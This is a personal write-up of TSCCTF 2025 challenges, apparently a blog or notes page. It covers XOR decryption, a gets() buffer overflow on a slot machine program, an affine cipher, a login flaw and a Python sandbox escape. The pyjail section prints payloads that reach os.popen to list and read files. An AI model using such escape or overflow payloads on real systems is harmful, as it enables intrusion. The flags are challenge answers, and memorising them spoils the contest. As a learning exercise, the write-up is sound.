# 2025 TSCCTF Write-up
有種這次比賽一樣除了welcome之外什麼都解不開的感覺QQ
然後再加上跑去日本爽玩所以只打了不到24小(X
最後還忘記繳交writeup(哭爛

> ### CTFd: https://ctfd.tscctf.com/
(他們CTFd真的做的好漂亮)
## Welcome
### Give you a free flag
> ### 題目
這裡據說藏了個 Flag

Author: Ruki
> ### 解法
他題目下面有一大段空白,sus

:::spoiler flag
TSC{W3llc0me_t0_TSC2O2SIlIllI}
:::
### Please Join Our Discord!!!
> ### 題目
想要我的 Flag 嗎?想要的話就送給你吧!自己去找吧,我把它埋藏在那裡了 於是...許多人爭相前往「TSCCTF Discord」,並追逐著這個夢想 所以,當時的年代可以說是一個「大資安時代」!

Author: 哥爾·D·Kazma
::: spoiler Unlock Hint for 0 points
Emoji 是 TSCCTF2024 的 DC flag ! If you found an emoji, that's the flag for last year's TSCCTF.
:::
<b></b>
> ### 解法

:::spoiler flag
TSC{w31c0m3_t0_t5cc7f2025_d15c0rd!!!}
:::
### Feedback Form
> ### 題目
https://forms.gle/FQtKQbdLuqhtcPAh8
Please fill out feedback form. Thank you!
:::spoiler flag
TSC{thanks_for_playing_and_c_u_nexy_year!}
:::
## Reverse
### What_Happened
> ### 題目
其實我也不太清楚發生什@#!@麼事@#情
但@#@##%(()^%()!
!%%@\$東!@#%()&西#!#)&&)
放ˋˋ@($)@俺@Xsa在納莉

Auth: Ruki
> ### IDA
```c=
# main
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Destination[51]; // [esp+1Eh] [ebp-32h] OVERLAPPED BYREF
__main();
strcpy(Destination, &flag_encrypted);
puts("1. This is Flag:");
puts("2. ...");
puts("3. What Happened??? Something Error");
printf("4. %s\n", Destination);
return 0;
}
int __cdecl encrypt(char *Str, int a2)
{
int result; // eax
signed int v3; // [esp+18h] [ebp-10h]
signed int i; // [esp+1Ch] [ebp-Ch]
v3 = strlen(Str);
for ( i = 0; i < v3; ++i )
*(_BYTE *)(i + a2) = Str[i] ^ 0xAA;
result = v3 + a2;
*(_BYTE *)(v3 + a2) = 0;
return result;
}
int decrypt_flag()
{
char v1[50]; // [esp+16h] [ebp-42h] BYREF
int v2; // [esp+48h] [ebp-10h]
int i; // [esp+4Ch] [ebp-Ch]
v2 = strlen(flag_encrypted);
for ( i = 0; i < v2; ++i )
v1[i] = flag_encrypted[i] ^ 0xAA;
v1[v2] = 0;
return printf("Decrypted Flag: %s\n", v1);
}
```
用IDA翻了一下
找到加密後的flag

> ### 解法
欸好好笑 意外發現`$#$`會變成$#$
好啦回正題
那就剩下解密了
```python=
def decrypt_flag(encrypted_flag):
decrypted_flag = []
# 用 XOR 密鑰 0xAA 進行解密
for byte in encrypted_flag:
decrypted_flag.append(byte ^ 0xAA)
# 輸出解密後的結果
decrypted_string = ''.join(chr(byte) for byte in decrypted_flag)
print("Decrypted Flag:", decrypted_string)
# 加密過的 flag 資料(以十六進制表示)
encrypted_flag = [
0xFE, 0xF9, 0xE9, 0xD1, 0xE3, 0xF5, 0xFE, 0xC2,
0xC3, 0xC4, 0xC1, 0xF5, 0xD3, 0xC5, 0xDF, 0xF5,
0xEC, 0xC3, 0xD2, 0xF5, 0x98, 0xC5, 0xC7, 0xCF,
0xF5, 0x99, 0xD8, 0xD8, 0xC5, 0xD8, 0xD7
]
# 解密
decrypt_flag(encrypted_flag)
```
:::spoiler flag
TSC{I_Think_you_Fix_2ome_3rror}
:::
### Chill Checker
Just Reverse and Chill.

Author: Kazma
> ### IDA
```c=
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s2[32]; // [rsp+10h] [rbp-40h] BYREF
char s1[20]; // [rsp+30h] [rbp-20h] BYREF
int v6; // [rsp+44h] [rbp-Ch]
int j; // [rsp+48h] [rbp-8h]
int i; // [rsp+4Ch] [rbp-4h]
v6 = -559038737;
for ( i = 0; i <= 19; ++i )
s2[i] = 0;
*(_QWORD *)s2 = 0x57484959495A4753LL;
printf("Whisper your code: ");
__isoc99_scanf("%8s", s1);
for ( j = 0; j <= 7; ++j )
s1[j] = complex_function((unsigned int)s1[j], (unsigned int)(j + 8));
if ( !strcmp(s1, s2) )
{
puts("Man, you're really on fire!");
generate_flag(s1);
}
else
{
random_failure_message(s1);
}
return 0;
}
```
看起來是搞出正確的s1就可以拿到flag
> ### 解法
```python=
def complex_function(a1, a2):
"""模擬原始的 complex_function
a1: 輸入字元的 ASCII 值
a2: 位置 + 8"""
if a1 <= 64 or a1 > 90:
return None
return ((a1 - 65 + 31 * a2) % 26 + 65)
def reverse_complex(target, pos):
"""
反向求解 complex_function
target: 目標字元的 ASCII 值
pos: 位置(0-7)
"""
# 對每個可能的大寫字母輸入進行測試
for c in range(65, 91): # A-Z
result = complex_function(c, pos + 8)
if result == target:
return c
return None
def solve():
# 目標字串(從分析中得到的正確順序)
target = "SGZIYIHW"
solution = ""
print("解碼過程:")
print("位置\t目標\t解碼\t驗證")
print("-" * 50)
for i in range(8):
# 找出能產生目標字元的輸入
orig_char = reverse_complex(ord(target[i]), i)
if orig_char is None:
print(f"位置 {i} 無法找到有效解")
return None
# 驗證
check = complex_function(orig_char, i + 8)
if check != ord(target[i]):
print(f"位置 {i} 驗證失敗")
return None
solution += chr(orig_char)
print(f"{i}\t{target[i]}\t{chr(orig_char)}\t{chr(check) if check else 'X'}")
return solution
def verify_solution(solution, target="SGZIYIHW"):
"""完整驗證解答"""
if len(solution) != 8:
return False
result = ""
for i in range(8):
transformed = complex_function(ord(solution[i]), i + 8)
if transformed is None:
return False
result += chr(transformed)
return result == target
if __name__ == "__main__":
print("正在解碼...\n")
solution = solve()
if solution:
print(f"\n找到解答: {solution}")
if verify_solution(solution):
print("驗證成功!")
else:
print("驗證失敗!")
else:
print("\n無法找到有效解答")
```
拿到`ENBFQVPZ`

:::spoiler flag
TSC{t4k3_1t_3a$y}
:::
## Pwn
說好今年要開始打pwn題 但我好懶(爛)_(:3 」∠ )_
### gamble_bad_bad
> ### 題目
就
拉霸機
非常好玩的拉霸機
你有辦法贏得大獎嗎?

Auth: Ruki
nc 172.31.0.2 1337
```c=
#include <string.h>
#include <iostream>
#include <stdio.h>
using namespace std;
void jackpot() {
char flag[50];
FILE *f = fopen("/home/gamble/flag.txt", "r");
if (f == NULL) {
printf("錯誤:找不到 flag 檔案\n");
return;
}
fgets(flag, 50, f);
fclose(f);
printf("恭喜你中了 777 大獎!\n");
printf("Flag 是:%s", flag);
}
struct GameState {
char buffer[20];
char jackpot_value[4];
} game;
void spin() {
strcpy(game.jackpot_value, "6A6");
printf("輸入你的投注金額:");
gets(game.buffer);
printf("這次的結果為:%s\n", game.jackpot_value);
if (strcmp(game.jackpot_value, "777") == 0) {
jackpot();
} else {
printf("很遺憾,你沒中獎,再試一次吧!\n");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("歡迎來到拉霸機!試著獲得 777 大獎吧!\n");
spin();
return 0;
}
```
> ### 解法
game.buffer 的大小是 20 字元,但使用 gets() 函數讀取用戶輸入,這樣會造成緩衝區溢出,覆蓋 game.jackpot_value,該變數的大小是 4 字元。
所以輸入20個A然後再加上777

:::spoiler flag
TSC{Gamb1e_Very_bad_bad_but_}
:::
## Web
我好爛 我不會打web

其實有看兩題
Ave Mujica那題知道考點是目錄遍歷但還是試不出來(經驗不足
Be_IDol成功進到檔案下載的地方,但是不知道什麼壞壞的文件因為我是好駭客
## Misc
### BabyJail
> ### 題目
Just a normal pyjail without builtins!
Author: Vincent55
nc 172.31.3.2 8002
> ### 他給的程式
```python=
#!/usr/local/bin/python3
print(eval(input('> '), {"__builtins__": {}}, {}))
```
意思大概是 **執行使用者輸入的內容並印出結果**
但使用者輸入的內容**有被限制**
> ### eval
eval(expression, globals, locals)
eval 是 Python 的內建函數,用來執行 字串表達式,並返回執行結果。
第一個參數:expression 是需要執行的字串(來自使用者輸入)。
第二個參數:globals 是全局變數字典,定義可以使用的全局變量和函數。
第三個參數:locals 是局部變數字典,定義可以使用的局部變量。
所以他在第二個參數用**{"__builtins__": {}}** 禁用了Python的內建函數(例如 print, open, 等)
然後第三個參數是空的,表示沒有額外的變數可以用
> ### 解題思路
先用`"".__class__.__base__.__subclasses__()`找到可用的類別
```bash=
> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'sys.legacy_event_handler'>, <class 'InterpreterID'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'ast.AST'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
```
然後可以用這個來看檔案
`().__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen('ls').read()`

最後就直接cat flag
`().__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen('cat flag_LwAyYvKd').read()`

:::spoiler flag
TSC{just_a_classic_nobuiltins_pyjail_for_baby}
:::
### Subdomain Hijacking
> ### 題目
Did you hear about Subdomain?
Author: sunick2009
> ### 解法
他的首頁長這樣

需要先在右上角的分頁生成一個subdomain之後才能拜訪

隨便亂嘗試了一些 當試了`tsc`之後拿到**Target**

好莫名其妙的一題 ||通靈大師是你||
:::spoiler flag
TSC{hijacking_success_3f3c5f28f2424452ab458f5a3cb48b4f}
:::
### Gif Tempo
> ### 題目
Is there any hiding sequence in the gif?
Be aware, you need to add the prefix TSC{} before submit.

Author: sunick2009
> ### 解題思路
先把他丟到gif工具看一下

看起來沒料 就是一對白色跟c
那就把這些照片抓下來丟[aperi](https://www.aperisolve.com/)
發現有三種照片
第一種是1秒的 像是 frame_01_delay-1s.jpg, frame_05_delay-1s.jpg, frame_09_delay-1s.jpg
在顏色的分析下會有點陣圖出現

第二種是0.7秒的 像是frame_00_delay-0.7s.jpg, frame_06_delay-0.7s.jpg, frame_08_delay-0.7s.jpg
雖然是白的但是濾掉某個顏色後會變成

第三種是0.2和0.3秒的 就都全白
那來用GIMP看一下點陣圖 有沒有可能跟去年的RGB那題類似呢
(後來我有把圖拼起來 弄出一個像是data matrix的東西但還是解不出來
## Crypto
### Classic
> ### 題目
The classics never fade.
Author : freddy
>### chal.py</a>
```python=
import os
import string
import secrets
flag = "TSC{test_flag}"
charset = string.digits + string.ascii_letters + string.punctuation
A, B = secrets.randbelow(2**32), secrets.randbelow(2**32)
assert len(set((A * x + B) % len(charset) for x in range(len(charset)))) == len(charset)
enc = "".join(charset[(charset.find(c) * A + B) % len(charset)] for c in flag)
print(enc)
```
> ### encrypt flag
```bash=
o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"
```
> ### 解法
```python=
import string
# 已知的加密結果
enc = 'o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"'
# 字符集
charset = string.digits + string.ascii_letters + string.punctuation
charset_len = len(charset)
# 定義函數來測試是否是有效的映射
def is_valid_mapping(a, b):
# 檢查是否每個字符都有唯一映射
mapped = set((a * x + b) % charset_len for x in range(charset_len))
return len(mapped) == charset_len
# 定義解密函數
def decrypt(enc_text, a, b):
# 計算 a 的乘法逆元
def mod_inverse(a, m):
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y
_, x, _ = extended_gcd(a, m)
return (x % m + m) % m
a_inv = mod_inverse(a, charset_len)
# 解密
decrypted = ""
for c in enc_text:
pos = charset.find(c)
if pos == -1:
return None
# 反向運算:(pos - B) * A^(-1) mod len(charset)
orig_pos = ((pos - b) * a_inv) % charset_len
decrypted += charset[orig_pos]
return decrypted
# 找到可能的 A 和 B
def find_key():
for a in range(1, charset_len):
# a 需要與 charset_len 互質
if not is_valid_mapping(a, 0):
continue
for b in range(charset_len):
if not is_valid_mapping(a, b):
continue
# 嘗試解密
result = decrypt(enc, a, b)
if result and "TSC{" in result and "}" in result:
return a, b, result
return None, None, None
# 執行解密
a, b, flag = find_key()
if flag:
print(f"Found flag: {flag}")
print(f"Key used - A: {a}, B: {b}")
else:
print("Could not find valid key")
```

:::spoiler flag
TSC{c14551c5_c1ph3r5_4r5_fr4g17e}
:::
### Very Simple Login
> ### 題目
nc 172.31.2.2 36900
Author : Curious
> ### server.py</a>
```python=
import base64
import hashlib
import json
import os
import re
import sys
import time
from secret import FLAG
def xor(message0: bytes, message1: bytes) -> bytes:
return bytes(byte0 & byte1 for byte0, byte1 in zip(message0, message1))
def sha256(message: bytes) -> bytes:
return hashlib.sha256(message).digest()
def hmac_sha256(key: bytes, message: bytes) -> bytes:
blocksize = 64
if len(key) > blocksize:
key = sha256(key)
if len(key) < blocksize:
key = key + b'\x00' * (blocksize - len(key))
o_key_pad = xor(b'\x5c' * blocksize, key)
i_key_pad = xor(b'\x3c' * blocksize, key)
return sha256(o_key_pad + sha256(i_key_pad) + message)
def sha256_jwt_dumps(data: dict, exp: int, key: bytes):
header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {'sub': data, 'exp': exp}
header = base64.urlsafe_b64encode(json.dumps(header).encode())
payload = base64.urlsafe_b64encode(json.dumps(payload).encode())
signature = hmac_sha256(key, header + b'.' + payload)
signature = base64.urlsafe_b64encode(signature).rstrip(b'=')
return header + b'.' + payload + b'.' + signature
def sha256_jwt_loads(jwt: bytes, exp: int, key: bytes) -> dict | None:
header_payload, signature = jwt.rsplit(b'.', 1)
sig = hmac_sha256(key, header_payload)
sig = base64.urlsafe_b64encode(sig).rstrip(b'=')
if sig != signature:
raise ValueError('JWT error')
try:
header, payload = header_payload.split(b'.')[0], header_payload.split(b'.')[-1]
header = json.loads(base64.urlsafe_b64decode(header))
payload = json.loads(base64.urlsafe_b64decode(payload))
if (header.get('alg') != 'HS256') or (header.get('typ') != 'JWT'):
raise ValueError('JWT error')
if int(payload.get('exp')) < exp:
raise ValueError('JWT error')
except Exception:
raise ValueError('JWT error')
return payload.get('sub')
def register(username: str, key: bytes):
if re.fullmatch(r'[A-z0-9]+', username) is None:
raise ValueError("'username' format error.")
return sha256_jwt_dumps({'username': username}, int(time.time()) + 86400, key)
def login(token: bytes, key: bytes):
userdata = sha256_jwt_loads(token, int(time.time()), key)
return userdata['username']
def menu():
for _ in range(32):
print('==================')
print('1. Register')
print('2. Login')
print('3. Exit')
try:
choice = int(input('> '))
except Exception:
pass
if 1 <= choice <= 3:
return choice
print('Error choice !', end='\n\n')
sys.exit()
def main():
key = os.urandom(32)
for _ in range(32):
choice = menu()
if choice == 1:
username = input('Username > ')
try:
token = register(username, key)
except Exception:
print('Username Error !', end='\n\n')
continue
print(f'Token : {token.hex()}', end='\n\n')
if choice == 2:
token = bytes.fromhex(input('Token > '))
try:
username = login(token, key)
except Exception:
print('Token Error !', end='\n\n')
if username == 'Admin':
print(f'FLAG : {FLAG}', end='\n\n')
sys.exit()
else:
print('FLAG : TSC{???}', end='\n\n')
if choice == 3:
sys.exit()
if __name__ == '__main__':
try:
main()
except Exception:
sys.exit()
except KeyboardInterrupt:
sys.exit()
```
不知道是程式寫錯還是怎樣,一度懷疑這麼簡單的嗎
他這句是不是不該用if...還是其實是故意的
```
if username == 'Admin':
print(f'FLAG : {FLAG}', end='\n\n')
```
因為這樣只要註冊一個Admin再登入就可以拿到flag了

:::spoiler flag
TSC{Wr0nG_HM4C_7O_L3A_!!!}
:::
## Result

